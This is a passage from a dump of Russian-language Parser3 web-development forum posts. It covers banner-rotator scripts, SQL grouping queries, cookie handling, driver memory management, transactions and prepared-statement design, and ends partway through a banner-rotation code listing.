<td width=\"488\" height=\"60\" align=\"center\" bgcolor=\"#FFFFFF\">\
	^banner_rotater[]\
</td>"
"15827","можно вывести, что возвращает скрипт:\
$banner_rotater.stderr\
$banner_rotater.status\
\
станет понятно, точно-ли выполняется скрипт.\
\
странно задается путь ../ - есть уверенность, что он должен задаваться от текущего документа? может все-таки cgi-bin в корне document root и написать так: /cgi-bin/parabanner/index_top.pl?"
"15829","так тоже можно, не сохраняя.\
будет работать чуть быстрее."
"15830","после добавления вышеуказанных строк, в том месте где должнем быть баннер, появилось 254.\
\
а если изменить путь файла, то страница \"не открывается\" и в parser.log появляется ошибка:\
[Tue Apr 15 14:01:51 2003] /: /home/www/servers/orenburgcity.ru/html/index.html(1): '/home/www/servers/orenburgcity.ru/html/cgi-bin/parabanner/index_top.pl' stat failed: No such file or directory (2), actual filename '/home/www/servers/orenburgcity.ru/html/cgi-bin/parabanner/index_top.pl' [file.missing]"
"15832","нужем кусок скрипта, который прописывает в БД is_publshed=0 для данного сообщений и всей его подветки. В цикле выполнять массу Sql-запросов что-то меня не вдохновляет.\
\
Если кто безвозмездно :) поделится таким кодом буду очень признателен."
"15833","а что-то типа этого не модно?\
\
[code]\
$thread[^table::sql{SELECT forum_id FROM forum WHERE thread_id = $твой_тред_айди}]\
\
^if($thread){^void:sql{UPDATE forum SET is_published = 0 WHERE forum_id IN (^thread.menu{$thread.forum_id}[,])}}\
[/code]\
"
"15834","сейчас разберусь и проверю ;-)"
"15835","Дано: есть форум, организованный \"как завещал нам Миша\" - то есть со служебным полем thread_id. \
\
Хочется - сделать список 10 самых обсуждаемых тем за какой-то период времени.\
\
Запрос к базе звучит так - select id, subject, count(thread_id) from forum group by thread_id;\
\
Как к нему добавить условие order by count(thread_id) desc, кто-нибудь знает? Мне отвечает \"invalid use\", а как сделать valid?"
"15836","[code]\
SELECT\
	forum_message_id,\
	name,\
	COUNT(thread_id) AS cnt\
FROM\
	forum_message\
GROUP BY\
	thread_id\
ORDER BY\
	cnt DESC\
LIMIT 10\
[/code]\
\
думаю, сам поменяешь названия полей, и не забудешь перенести LIMIT в $.limit..."
"15837","[code]\
 select id, subject, count(thread_id) as counter from forum group by thread_id order by counter\
[/code]\
не проканает?"
"15839","Итак, мне тут куча писем наприходила, отвечаю:\
Я пользую Unix профессионал Персональный на www.mtw.ru\
\
Мне нравится. =)"
"15840","Взял хостинг на hostmysite.com, начал писать сайт. Сейчас чешу репу а стоит ли?"
"15841","http://www.prolugansk.com на хосте от http://www.dinsol.com\
"
"15842","разобрались сами или объяснял?"
"15843","ткнул на этот сайт, сказал, что из глубоких убеждений не пользуюсь буржуйскими недоработками, а пользуюсь только родным, проверенным, удобным. А в случае отказа уйду к ЭктивАсп.ком - там мне обещали это без вопросов."
"15845","[code]\
@banner_rotater[]\
<td width=\"488\" height=\"60\" align=\"center\" bgcolor=\"#FFFFFF\">\
$banner_rotater[^file::exec[../cgi-bin/parabanner/index_top.pl]]\
^if($banner_rotater.status >0){произошла ошибка!<br>\
поток ошибок%<br>\
$banner_rotater.stderr}{\
усё в порядке шеф!}\
$banner_rotater.text\
</td>\
[/code]"
"15846","у вас в первом сообщение явно говориться во второй ошибки, что или скрипт ничего не возращает либо парсер его не нашёл%)"
"15847","Стоит ли ожидать subj. в обозримом будущем?"
"15848","написать sql-драйвер для parser может любой школьник:\
делов то: вызвать пару функций хорошо документированного API клиента SQL.\
собственно драйвер к mysql занимает 100 (сто) строк.\
\
нашим клиентам пока такое не было нужно = я не трачу своё время."
"15849","...так: http://ваш_сайт/cgi-bin/parabanner/index_top.pl то это еще не означает, что скрипт лежит в [b]каталоге[/b] cgi-bin вашего вашего document root.\
\
парсер когда вы говорите ему file::exec или file::cgi ищет файл в соответствии с файловой структурой и путями в этой файловой структуре, которые вы ему указали, а не по script-alias-ам апача. возможно ошибка у вас именно в этом.\
\
приведите структуру каталогов, где у вас что лежит, тогда вам подскажут, какие должны быть пути.\
\
"
"15850","Или может использовать функцию расширения которая это умеет с парсером.\
В конкретном случае я решил проблему, сделав псевдогенератор, использующий дату из атрибутов некоторых тегов итп, но он не совсем случайный, как этого хочется, он не изменяется, пока не изменится содержимое страницы.\
А хотелось бы иметь что-то универсальное ...\
Скорее всего тут хорошо использовать функцию расширения, но как?"
"15851","http://www.parser.ru/download/contrib/"
"15852","Здравствуйте, в первую очередь хочется выразиь благодарность Мише за разъяснение http://www.parser.ru/forum/?id=15736\
\
Пришлось сдвигать дату (минус один день) - иначе не правильно отдается дата последней модификации файла.\
\
В этой связи два вопроса\
1. почему .roll[day] сделан только для лет, мес-в и дней и работает с целыми числами?\
\
2. нет ли какой возможности сдвигать дату на меньшую величину?\
К сожалению манипуляции: \
[code]\
^if($last_update > $now-7){ \
   новый \
}{ \
   старый \
}\
[/code]\
\
описанные [url=http://www.parser.ru/docs/lang/dateclass.htm\
]http://www.parser.ru/docs/lang/dateclass.htm[/url] не работают...\
\
--\
\
Позволю привести участок кода, может кто поправит, или пригодится кому..\
\
[code]\
@USE\
dtf.p\
\
@main[]\
...\
$doc_uri[$env:PATH_INFO]\
$stat[^file::stat[$doc_uri]]\
	\
$flastmod[\
	^date::create(\
	$stat.mdate.year;\
	$stat.mdate.month;\
	$stat.mdate.day;\
	$stat.mdate.hour;\
	$stat.mdate.minute;\
	$stat.mdate.second)\
]\
\
^flastmod.roll[day](-1)\
$flastmod_dtf[^dtf:last-modifyed[$flastmod]]\
#	возвращаем flastmod к действительной дате последней модификации - пригодится\
^flastmod.roll[day](+1)\
\
\
$response:Last-Modified[$flastmod_dtf]\
[/code]\
\
\
Спасибо\
--\
С уважением, the.organic"
"15853","При входе на сайт создается сессионный cookie с именем ID. В процессе перехода по страницам сайта ID изменяется. При определенных условиях необходимо вообще удалить этот cookie. Как это сделать? (в доке не нашел)"
"15854","пользуйтесь поиском по форуму..."
"15855","Работает. Спасибо. \
Мой вариант был такой:\
[code]\
$cookie:имя[\
	$.value[0]\
	$.expires(0.0000000000000001)\
]\
[/code]\
Тоже работает."
"15856","SQL_Driver_services::malloc не имеет пары для освобождения пямяти.\
Из этого можно заключить, что так должна выделяться только память, возвращаемая парсеру (например, для add_row_cell).\
Если выделять таким образом память для внутренних нужд драйвера, будет ли она освобождена правильно?"
"15857","таким образом стоит выделять любую память.\
она будет освобождена автоматически.\
\
однако это неявляется обязательным.\
обязательно только возвращяемое parser'у разместить в этой памяти."
"15858","info:\
\
освобождением будет заниматься сборщик мусора по ходу работы.\
сейчас и в 3.0.8 это произойдёт в конце обработки запроса."
"15859","Допустим, имеем связку:\
\
connect{\
    query...\
    query...\
    query...\
}\
\
неплохо было бы сделать всю ее атомарной, то есть запускать транзакцию при коннекте, комитить при завершении блока connect{} и откатывать при исключениях. Для этого нужно всего лишь передавать хэндл транзакции всем методам класса SQL_Driver вместе с хэндлом коннекта. ОК, все просто: делаем обертку родного хэндла коннекта (структуру X), включаем в нее контекст коннекта и контекст транзакции, и возвращаем эту обертку парсеру.\
\
Внимание, вопрос: чем выделить память для структуры X? Если стандартным malloc, то будут ли это решение кроссплатформенным и корректным с точки зрения парсеровского сборщика мусора; если services::malloc - то доживет ли структура до конца коннекта?\
\
-----\
\
Кстати, хранение в драйвере расширенного контекста соединения полезно по многим причинам: можно сделать явное управление транзакциями через расширение синтаксиса sql, можно заводить две транзакции (для чтения и записи) с разными уровнями блокировки в одном коннекте..."
"15860","пришлось \"подковырять\" код скрипта (он конфликтовал с процедурами Парсера).\
как оказалось Парсер в документации красивее...\
\
всем огромное спасибо, кто мне помогал.\
\
P.S. извеняюсь за начальный \"тупизм\". иногда проще спросить, чем разобраться самому... \"горячка\", сэр"
"15861","^connect атомарен.\
по любой ошибке делает rollback. без ошибок делает commit.\
\
надо только реализовать соответствующие функции.\
\
т.е. считается, что connection не thread safe, можно смело хранить состояние внутри драйвера."
"15862","если и делать, то на уровне самого parser, а не конкретного драйвера.\
\
легко можно придумать соответствующий механизм.\
\
я только не очень понимаю, зачем экономить соединения: смысл есть только в cgi версии, а для продвинутых задач стоит использовать mod_parser3/isapi. там connection'ы скэшируются, и  всем будет всё равно, в одном connection эти транзакции или в двух.\
\
давайте пытаться держать вещи простыми пока это возможно."
"15863","Ну раз уж \"можно смело хранить состояние внутри драйвера\", то и вопросов больше нет."
"15865","Явное управление транзакциями может понадобиться в следующей простой ситуации: допустим, хранимая процедура БД выполняет некие сложные операции и в процессе обнаруживается невозможность завершения этих операций. Процедура может:\
\
1. Выкинуть исключение. При этом транзакция будет откачена штатным образом, но возникают проблемы с обработкой сообщения об ошибке: структурированные исключение не поддерживают ни Interbase, ни парсер.\
\
2. Прервать работу и вернуть параметры ошибки в выборке. Тогда парсерный код может подробно обработать ошибку и при необходимости откатить транзакцию самостоятельно.\
\
Что касается раздельных транзакций на чтение и запись, то тут я погорячился, без дополнительной поддержки в самом парсере такое реализовать невозможно. Речь идет о следующем: при коннекте (то есть только при реальном установлении соединения, а не при каждом вызове connect) заводится одна долгоиграющая read-only транзакция, которая используется для селективных запросов. Эта транзакция не комитится никогда (разве только при реальном разрыве соединения, да и то необязательно). Для остальных запросов создаются отдельные транзакции, живущие в контексте блока connect{} - то есть такие, как все транзакции сейчас.\
Такая система позволит сэкономить на запуске и завершении транзакций (с учетом того, что read-only запросов абсолютное большинство). Если при этом повторно использовать препарированные (prepared) запросы, то обмен с СУБД можно уменьшить в несколько раз."
"15866","а вообще-то, эта информация бессмысленна для обычных людей. Формат был разработан для наилучшей передачи цветов при печати на принтере, я могу предположить, что он может быть интересен фотографам, для определения наилучших настроек при снятии изображения. Простым пользователем, может быть интересна разве что дата и время фотографии.\
Если всё же собираешься делать, то, конечно, рекомендуется хранить всё в базе данных. "
"15867","я не заметил высокой цены открытия транзации и commit транзации с read-only запросами, поэтому не вижу большого смысла напрягаться по этому поводу.\
смотрю на oracle."
"15868","ну почему же: если при выполнении хранимой произойдёт ошибка, драйвер кинет исключение, которое код на parser может поймать и обработать. если не поймает, и исключение до летит до ^commit{… >>сюда}, произойдёт откат транзацкии.\
это ли не естественное/желаемое поведение?"
"15869","начинают иметь смысл с очень больших нагрузок, и [b]при условии[/b], что соответствующие разделы сайта [b]нельзя скэшировать[/b].\
\
давайте рассмотрим вашу задачу, и увидим, что это вряд ли так.\
\
думаю, когда-нибудь это начнёт быть важным, тогда легко добавим, однако не считаю, что момент назрел."
"15870","что и для чего якобы было разработано дело десятое.\
\
важно: parser умеет бОльшую часть EXIF информации достать.\
\
так можно узнат то, что иначе узнать нельзя, скажем, \
когда был реально сделан снимок и какой моделью цифрового фотоаппарата был сделан снимок.\
\
http://www.parser.ru/docs/lang/imagefields.htm"
"15871","Я имею в виду цену выборки из БД не для сайта, а для самой СУБД. Для конфигурации, в которой база данных постоянно находится под большой нагрузкой (например, работает с телекоммуникационным оборудованием), а сайт играет второстепенную роль, критично снижение нагрузки не на парсер, а на СУБД (особенно если они разнесены по разным серверам). Здесь же повторное использование запросов и оптимизация транзакций будут как раз кстати.\
Собственно, все, что я предлагаю, специфично для конкретной СУБД и все это работа конкретного драйвера. На стороне парсера требуется только поддержка расширенного контекста соединения, который будет храниться в драйвере во все время жизни соединения (до реального отключения от БД). Если же удастся полностью задействовать возможности бесплатной СУБД вроде Interbase, то и оракл не понадобится.\
\
Это все не feature request'ы, а просто повод для размышлений. Версии так к четвертой :)"
"15872","там можно написать все нужные запросы, максимально оптимизировав их в этом смысле.\
\
[это из жизни, мы так и сделали в паре критических случаев]\
\
общая идея: держать parser [b]максимально[/b] простым.\
\
это просто:\
[code]\
$name[^string:sql{select name where id=...}]\
[/code]\
это уже не так просто:\
[code]\
$name[^string:sql{select name where id=@id}[\
    $.id[...]\
]]\
[/code]\
да и всё на свете prepared делать будет неэффективно, так что придётся флажок «скэшируй это, после того, как подготовишь».\
\
соответственно, выглядеть будет как-то так:\
[code]\
$name[^string:sql{select name where id=@id}[\
    $.prepared(1)\
    $.id[...]\
]]\
[/code]\
\
понятно, польза от этого будет только с persistent connections, т.е. только в mod_parser3 и isapi версия."
"15873","?"
"15874","однако если вы начинаете использовать в SSI скрипты, то важно, насколько вам удобен скриптовый язык.\
\
perl во многих случаях очень удобен.\
\
однако сделайте простую вещь на любом любимом вами языке:\
[code]\
^connect[mysql://user:pass@host/db]{\
    $news[^table::sql{select id, title from news order by published}[$.limit(10)]\
    ^news.menu{\
        <a href=\"/news/article.html?id=$news.id\">$news.title</a><br>\
    }\
}\
[/code]"
"15875"," Почитал отзывы о легкости парсер и уже было начал осваивать, но возможные проблемы с разными провайдерами заставляют призадуматься - за пределами россии парсера не знают. Сайт расчитан на иностранную аудиторию и хостер соответственно будет западный, не оказаться бы в дураках когда с готовым сайтом не будешь знать куда его сунуть. SSI все же поддерживается каждым небесплатным сервером и это гарантия, к тому же поверхностно просмотрев документацию мне он показался менее запутанным чем парсер. Может первое ощущение. Вообще в идеале хочу изучить один универсальный язык на такие случаи. Требования: легкость, универсальность в плане использования, перспективность."
"15876","второе - только часть первого. Если в вашем понимании динамический сайт - это тот, у которого headers и footers разнесены по отдельным файлам и подвёрстываются к странице на лету и ничего большего - да, вам хватит и ssi. Но я динамическим считаю сайт, который, как мой текущий, и умеет получать весь свой контент из базы данных, обращаться к ActiveDirectory за информацией о пользователе, получая её через XML и делать ещё много чего. Решайте, в общем, что вам нужно.\
\
P.S. А парсер ставится без проблем на любой unix-сервер без вопросов к сисадмину и на iis - с вопросами минимальнейшими, уж поверьте.. "
"15877","\
\
хотелось бы нечто вроде этого, чтобы поручить поддержку сайта в будущем человеку далекому от этих дел."
"15878","\"~ Зачем нужна география, когда есть извозчик...\" Прямо таки заметная параллельность ситуаций"
"15879","точно помню что встречал, кинулся искать на сайте не нашел :("
"15881","Всю работу с запросами можно переложить на драйвер, да и не должен парсер этим заниматься. Навскидку, повторное использование запросов может выглядеть так:\
\
$id[123]\
$name[\
    ^string:sql{\
        prepared select NAME from TABLE where ID=:id;\
        id=$id\
    }\
]\
\
Здесь используется примерно та же форма, в которой препарированные запросы передаются на сервер: в теле запроса стоят декларации параметров, фактические значения которых указываются отдельно (в данном случае после запроса). Запрос препарится один раз, после чего при последующем выполнении этого запроса (уже с другими параметрами) драйвер по неизменному телу может узнать этот запрос и иcпользовать готовый хэндл, подставив новые значения параметров. Ключевое слово prepared в данном случае указывает, что хэндл запроса после первого выполнения должен быть помещен в кэш. Можно обойтись и без специального ключевого слова, просто кэшировать все запросы, написанные в такой нотации (повторюсь, кэшировать не результат выполнения запроса, а хэндл запроса после prepare).\
В этом случае простота парсера отнюдь не пострадает. Да и простота, кстати, не так проста - \"простой\" парсер имеет крайне сложный, неочевидный и противоестественный синтаксис. Который, тем не менее, оборачивается удобством при разработке, поскольку оптимизирован для решения конкретной задачи, вовсе даже не простой. Я предлагаю не усложнение, а оптимизацию работы с БД - а это позволит решать большие задачи меньшими средствами. То есть, повторюсь, максимально использовать преимущества конкретного сервера средствами конкретного драйвера. Поддержка со стороны парсера требуется минимальная, всего лишь расширение интерфейса services парой функций: permanent_malloc и permanent_free.\
Поясню, почему использование препарированных запросов считается хорошим тоном и почему я так на нем настаиваю. При prepare запроса сервер:\
- анализирует синтаксис запроса и определяет используемые объекты БД.\
- проверяет полномочия пользователя на все используемые объекты. Это означает большое количество выборок из служебных таблиц, при этом также проверяются полномочия на все зависимые объекты, которых может быть большое количество (особенно если это выборка из процедуры, которая обращается к куче таблиц).\
- выбирает типы данных для входных и выходных параметров, на клиенте создаются структуры для хранения выходных параметров.\
То есть, выполнение одного простого запроса порождает кучу неявных запросов к служебным таблицам. При использовании препарированных запросов все эти операции опускаются.\
\
Ответ на пред. пост: под использованием ХП, видимо, понимается написание процедуры с большим количеством выходных параметров, которая будет сразу делать все нужные странице выборки? Попробую."
"15882","http://www.parser.ru/docs/lang/install.htm"
"15883","paf, не расскажете, что это вы там такое запланировали?"
"15884","Думаетсяя мне что это возврат оператора из Parser 2.\
Раскрашивает строки таблицы разными цветами, что-то типа матраса или тельняшки."
"15885","ALL!\
Не бейте и не посылайте к докам\\форумам. Читал, искал -не понял.\
Тупой наверное.\
Есть поле в SQL таблице\
full_name varchar(15)\
Делаю:\
$fname[^connect[pgsql://localhost/htask]{\
^string:sql{select full_name from user_desc where \
short_name='$form:short_name'}\
}]\
$cookie:Full_name[\
$.value[^taint[sql[$fname]]\
$.expires(1)\
]\
Вижу в куках:\
%0A%09%09%09%09%09%09Nikitin%20Andy%0A%09%09%09%09%09\
\
Перепробовал:\
^untaint{ }\
^untaint[sql]{}\
^taint[ ]\
\
Не помогает. Где ошибка?\
Andyn Nik"
"15886","А если не привлекать лишние сущности и просто \
$cookie:Full_name[\
$.value[$fname]\
$.expires(1)\
]\
?\
Парсер -- он не дурак, он очень много сам правильно делает...\
\
\
p.s.Вообще говоря, [url=\"http://www.parser.ru/examples/tainting/\"]Миша очень хорошо объяснил[/url] как эта кухня работает."
"15887","забавно, Олег,\
вы читаете лекцию по тому, что общеизвестно, \
и приводите пример кода полностью совпадающий с предлагаемым мной :) \
\
к делу:\
подавляющее большинство пользователей parser сейчас пользуется CGI версией, включая Студию.\
этого достаточно для подавляющего большинства задач.\
\
в отдельных случаях используются специализированные решения. есть модуль к apache, а есть и вообще модуль к закрытой внутренней системе клиента работающей с его хитрой базой данных, к слову, нереляционной, а сетевой.\
\
это отдельные случаи, требовавшие=получившие своё отдельное решение.\
\
диагноз: \
http://www.parser.ru/forum/?id=15869, последний абзац.\
\
насчёт способа внедрения считаем, что договорились.\
насчёт сроков: я сделаю это тогда, когда понадобится кому-нибудь из наших клиентов, но с радостью приму patch, благо сделать несложно, а исходики в CVS.\
\
программистам: насчёт работы с памятью.\
начиная с 3.1 версии Parser будет использовать механизм сборки мусора, и посему не будет отдельных malloc/global_malloc, все они будут равноправны. поэтому изменений в API работы с памятью не понадобится."
"15888","А я и не привлекал.\
Только кто дурак я не знаю.\
\
$cookie:Full_name[\
$.value[$fname]\
$.expires(1)\
]\
\
Дает тот же результат."
"15889","есть немного устаревший перевод от Lifesource в комментарии,\
но скоро сделаем отдельную статью, выложим на сайт.\
думаю, даже сделаем http://parser.ru/en/ пока с абсолютным минимумом. "
"15890","было решено не делать, поскольку непонятно, с какого цвета продолжать.\
\
в p2 было забавно: флаг был глобален, и можно было раскрасить одну таблицу, потом другую, и на стыке не было бы перемигивания. однако потом, выводя третью мы получали непредсказуемый начальный цвет.\
\
в p3 достаточно средств, чтобы сделать желаемое самому."
"15891","кладёте в cookie что-то, достаёте его потом, получая то, что клали.\
я не понимаю, что вас не устраивает.\
\
как оно выглядит внутри: по большому счёту, вас волновать не должно. [если не собираетесь работать с этим не из parser]\
\
если интересны детали, ваш текст [b]насильно[/b] преобразуется к языку http-header, так же, как, скажем, все имена файлов и пути [b]насильно[/b] преобразуются к языку file-spec.\
\
что такое язык http-header написано в доке."
"15892","\"приводите пример кода полностью совпадающий с предлагаемым мной :)\"\
Полностью, да не полностью. Сравните:\
\
$name[^string:sql{select name where id=@id}[\
    $.prepared(1)\
    $.id[...]\
]]\
\
$id[123]\
$name[^string:sql{\
select NAME from TABLE where ID=:id;\
id=$id\
}]\
\
В первом случае кэшированием запросов занимается парсер, для поддержки доп. возможностей изменяется формат вызова\
\
query(services, connection, statement, offset, limit, handlers)\
\
до\
\
queryEx(services, connection, statement, offset, limit, int params_count, void* params, bool prepare, handlers)\
\
затем до\
\
query2(services, connection, transaction, readTransaction, statement, offset, limit, int params_count, void* params, bool prepare, handlers)\
\
это сложно и не нужно, не спорю.\
\
Во втором случае разборкой запроса занимается драйвер, драйвер же реализует все функции, связанные с кэшированием запросов. Это разумно, поскольку такие операции далеко выходят за спецификацию SQL и уникальны для каждого сервера.\
\
Что касается CGI-версии: здесь разговор идет только о архитектуре isapi и только о использованиии парсера в качестве front-end интерфейса для сложных информационных систем (каковых на том же interbase существует великое множество: складских, бухгалтерских, телекоммуникационных, архивных…) Парсер вполне способен заменить собой родные интерфейсы разных производителей (например, UserPortal от Navision или связку ASP -> ADO -> MS SQL), поскольку проще написать специфичный драйвер для парсера, чем изучать конкретный интерфейс или искать специалиста по нему. Короче, займусь написанием патча."
"15893","Вчерась баловался с ^transform[] и заметил забавную вещь, о которой в документации не слова или я это не правильно понял.\
\
В документации сказано, что ^taint производит замены и подстановки непосредственно перед выдачей результата пользователю или sql запросом, а про ^transform ничего не сказано. \
А тем не менее если я в формируемый xml, вставляю \"грязный\" участок из базы и \"чистый\" участок, набранный мною, то после ^transform во всех грязных данных происходят замены, а чистые выдаются as-is. \
Это действительно так(если да, то это просто офигенно, только неплохо бы об этом в доке упомянуть)?"
"15894","мне куда больше нравится предлагаемый мной синтаксис: так автором драйвер[b]ов[/b] не понадобится парсить запрос каждый раз.\
\
подумайте: \
1. ведь даже для получения ключа кэширования надо найти предлагаемый вами разделитель «;».\
это нетривиально, учитывая\
[code]\
update xxx set xxx='xxx;xxx'\
[/code]\
\
2. параметры придётся разбирать из текстовой строки, что повлечёт всё те же проблемы разбиения на token'ы. ведь там не только цифры бывают.\
\
3. передать через hash кодеру на Parser совсем несложно.\
до драйвера доведём в предлагаемом вами формате.\
\
дальнейшее усложнение (вы пишете про ещё параметр), как надеюсь, не понадобится в свете моей идеи оставить этот момент всё таким простым, как он есть сейчас: одно соединение, одна транзакция в один момент времени.\
\
в этом свете я не очень понимаю, почему бы parser'у не заняться кэшированием запросов самому. для него это будет \
[code]void *prepared_query_id[/code]"
"15895","да, и там, конечно происходят тоже.\
добавим в доку."
"15896","Интересно:\
\
something.xml <- ^transform[something.xsl]\
\
В something.xsl:\
\
<![CDATA[<!-- Cheers -->]]>\
\
Все условия одинаковые, разнятся только  ОС и версии парсера.\
Выходит в HTML:\
\
* RedHat 7.3 + parser3.0.0007 (не sp1) в бинарниках с сайта\
<!-- Cheers -->\
\
* Slackware 7.2 + parser3.0.0007 то же, что сверху. Точно.\
&lt;!-- Cheers --&gt;\
\
* FreeBSD 4.5 + parser3.HEAD скомпиленный сегодня ночью (версии библиотек - как в INSTALL написано)\
&lt;!-- Cheers --&gt;\
\
?-с:\
Про фичу с http://www.parser.ru/forum/?id=12719 в курсе. Почему, однако RedHat и Slackware если не написать <xsl:text disable... делают по разному? Зависит ли это от каких-то компонентов системы? Интерес чисто академический."
"15897","OK, это будет очень удобно. Принимаем ваш синтаксис:\
\
$name[^string:sql{select name where id=@id}[\
$.id[...]\
]]\
\
Механизм обработки запросов с явно указанными параметрами такой:\
Если запроса нет в кэше (попадание в кэш определяется банальным сравнение тела запроса), то парсер вызывает не query(), а\
\
void* prepare(services, connection, statement, handlers);\
\
функция должна вернуть хэндл препарированного запроса.\
\
После подготовки или же если запрос есть в кэше, парсер вызывает\
\
void* execute(services, connection, void* statementHandle, int paramsCount, void* params, offset, limit, handlers);\
\
Ну или как-нибудь в этом духе. Что скажете?\
\
(Парсить запрос, кстати, не так уж и сложно. Достаточно один раз пройтись и вынести из запроса все квотированные блоки, подставив на их место формальные параметры.)"
"15898","Ничего плохого я не желал этим сказать. Можете глянуть по форуму. Я тоже не без греха."
"15899","полностью согласен по всем пунктам.\
\
причём, думаю, ничего страшного, что такой синтаксис будет делать всегда prepared.\
\
дело в том, что когда SQL-сервер не на той же машине, где сайт, делать отдельный запрос на prepare, другой на execute(prepared), это медленнее, чем execute(unprepared). и в простых случаях запрос, записанный этим синтаксисом, будет работать медленнее, чем не prepared. [b]Однако[/b] для простых случаев есть и простой синтаксис.\
\
если очень захотим, потом добавим [code]$.prepared(0)[/code]\
"
"15900","мы не придавали большое значение этой версии, и собираем на разных машинах с немного разными версиями xml библиотек.\
\
вышло без умысла.\
номер версии (строку) можно найти в теле бинарника."
"15901","Положим есть каталог с картинками и нужно чтоб при добовлении в каталог картики  Parser генерил её  ноготок маленький в общую кучу\
\
Возможно ли? \
если мона ткните в доки"
"15902","Не понимаю как функцианирует эта штука?\
\
Я пишу:\
\
INSERT INTO archiv_forum(parrent_id,dt_pub,subject,author,email,sendtoemail,ip_adress,textmessage) values(0,\".date(\"Y\").\"-\".date(\"m\").\"-\".date(\"d\").\" \".date(\"H\").\":\".date(\"i\").\":\".date(\"s\").\",'$subject','$author','$email',$sendtoemail,'\".getenv(\"REMOTE_ADDR\").\"','$textmessage')\
\
извените уж за PHP, но суть в том, что он не хочет добавлять ничего в таблицу. \
\
Таблица:\
\
CREATE TABLE archiv_forum (\
	id INT NOT NULL AUTO_INCREMENT,\
	parrent_id INT NOT NULL,\
	dt_pub DATETIME NOT NULL,\
	subject VARCHAR(255),\
	author VARCHAR(50),\
	email VARCHAR(50),\
	sendtoemail INT(2),\
	ip_adress VARCHAR(20),\
	textmessage TEXT NOT NULL,\
\
	PRIMARY KEY(id)\
);\
\
Не знаю что делать может это id так влияет?"
"15906","Простите уж. Но я был очень благодарен если вы мне скажите как его посмотреть :) не сочтите за идиота, но я mysql только пол года юзаю понемногу.\
\
Как поглядеть это сообщение?\
Стыдно. Честно."
"15907","только нет у Парсера такой возможности, [b]НО ! ! ![/b]\
Есть решение !!!! см. раздел \"примеры\""
"15908","http://hoha.ru/ после 4 месячной смерти кажется потихоньку оживает."
"15914","http://www.parser.ru/docs/lang/?imagecopy.htm\
пункт пять! качество смотрите сами:)"
"15916","как сделать так, чтобы можно было юзать не относительные, а абсолютные пути."
"15917","Ты можешь передать параметры через форму"
"15918","Решил попробовать сочинить банерокрутилку. Задумка такая:\
В файле banner.cfg храняться: айди баннера, путь к файлу, айди группы, сколько раз был показан, сколько нужно показать, высота картинки, ширина картинки, и ссылка. Там где нужно вызываем метод с параметрами (айди баннера и айди группы). Если указать айди баннера, то будет всегда показываться именно он. Если айди баннера поставить равным нулю и указать айди группы, то будут крутиться баннеры из этой группы. \
Вот что насочинял:\
[code]\
@barabanner[bid;bgroup]\
#######\
####Содержит все записи из banner.cfg.\
$all[^table::load[/banner.cfg]]\
\
#######\
####Содержит записи, соответствующие группе. \
$bygroup[^all.select($all.group_id==$bgroup)]\
\
#######\
####Содержит записи, лимит которых не исчерпан.\
$bylimit[^all.select($all.showed < $all.limit)]\
\
#######\
####Содержит записи, соответствующие группе, лимит которых не исчерпан.\
$bygrouplimit[^all.select($all.group_id==$bgroup && $all.showed < $all.limit)]\
\
#######\
####Начало обработки\
^if($bid != 0){\
$bselect[^bylimit.select($bylimit.id==$bid)]\
 ^if(^bselect.count[]==1){\
 $selcut[^all.select($all.id!=$bselect.id)]\
 $showed[^eval($bselect.showed+1)]\
 ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
 ^selcut.sort($selcut.id)\
 ^selcut.save[/banner.cfg]\
 }\
}{\
 ^if($bgroup !=0){\
  ^switch[^bygroup.count[]]{\
   ^case[0]{}\
   ^case[1]{\
   $bselect[^bygroup.select(^bygroup.line[]==1)]\
    ^if(^bselect.count[]==1 && $bselect.showed < $bselect.limit){\
    $selcut[^all.select($all.id!=$bselect.id)]\
    $showed[^eval($bselect.showed+1)]\
    ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
    ^selcut.sort($selcut.id)\
    ^selcut.save[/banner.cfg]\
    }\
   }\
   ^case[DEFAULT]{\
    ^switch[^bygrouplimit.count[]]{\
     ^case[0]{\
     $rndselect[^eval(^math:random(^bygroup.count[])+1)]\
     $bselect[^bygroup.select(^bygroup.line[]==$rndselect)]\
     }\
     ^case[1]{\
     $bselect[^bygrouplimit.select(^bygrouplimit.line[]==1)]\
      ^if(^bselect.count[]==1){\
      $selcut[^all.select($all.id!=$bselect.id)]\
      $showed[^eval($bselect.showed+1)]\
      ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
      ^selcut.sort($selcut.id)\
      ^selcut.save[/banner.cfg]\
      }\
     }\
     ^case[DEFAULT]{\
     $rndselect[^eval(^math:random(^bygrouplimit.count[])+1)]\
     $bselect[^bygrouplimit.select(^bygrouplimit.line[]==$rndselect)]\
      ^if(^bselect.count[]==1){\
      $selcut[^all.select($all.id!=$bselect.id)]\
      $showed[^eval($bselect.showed+1)]\
      ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
      ^selcut.sort($selcut.id)\
      ^selcut.save[/banner.cfg]\
      }\
     }\
    }\
   }\
  }\
 }{\
  ^switch[^bylimit.count[]]{\
   ^case[0]{\
    ^switch[^all.count[]]{\
     ^case[0]{}\
     ^case[1]{\
     $bselect[^all.select(^all.line[]==1)]\
     }\
     ^case[DEFAULT]{\
     $rndselect[^eval(^math:random(^all.count[])+1)]\
     $bselect[^all.select(^all.line[]==$rndselect)]\
     }\
    }\
   }\
   ^case[1]{\
   $bselect[^bylimit.select(^bylimit.line[]==1)]\
    ^if(^bselect.count[]==1){\
    $selcut[^all.select($all.id!=$bselect.id)]\
    $showed[^eval($bselect.showed+1)]\
    ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
    ^selcut.sort($selcut.id)\
    ^selcut.save[/banner.cfg]\
    }\
   }\
   ^case[DEFAULT]{\
   $rndselect[^eval(^math:random(^bylimit.count[])+1)]\
   $bselect[^bylimit.select(^bylimit.line[]==$rndselect)]\
    ^if(^bselect.count[]==1){\
    $selcut[^all.select($all.id!=$bselect.id)]\
    $showed[^eval($bselect.showed+1)]\
    ^selcut.append{$bselect.id	$bselect.path	$bselect.group_id	$showed	$bselect.limit	$bselect.w	$bselect.h	$bselect.link}\
    ^selcut.sort($selcut.id)\
    ^selcut.save[/banner.cfg]\
    }\
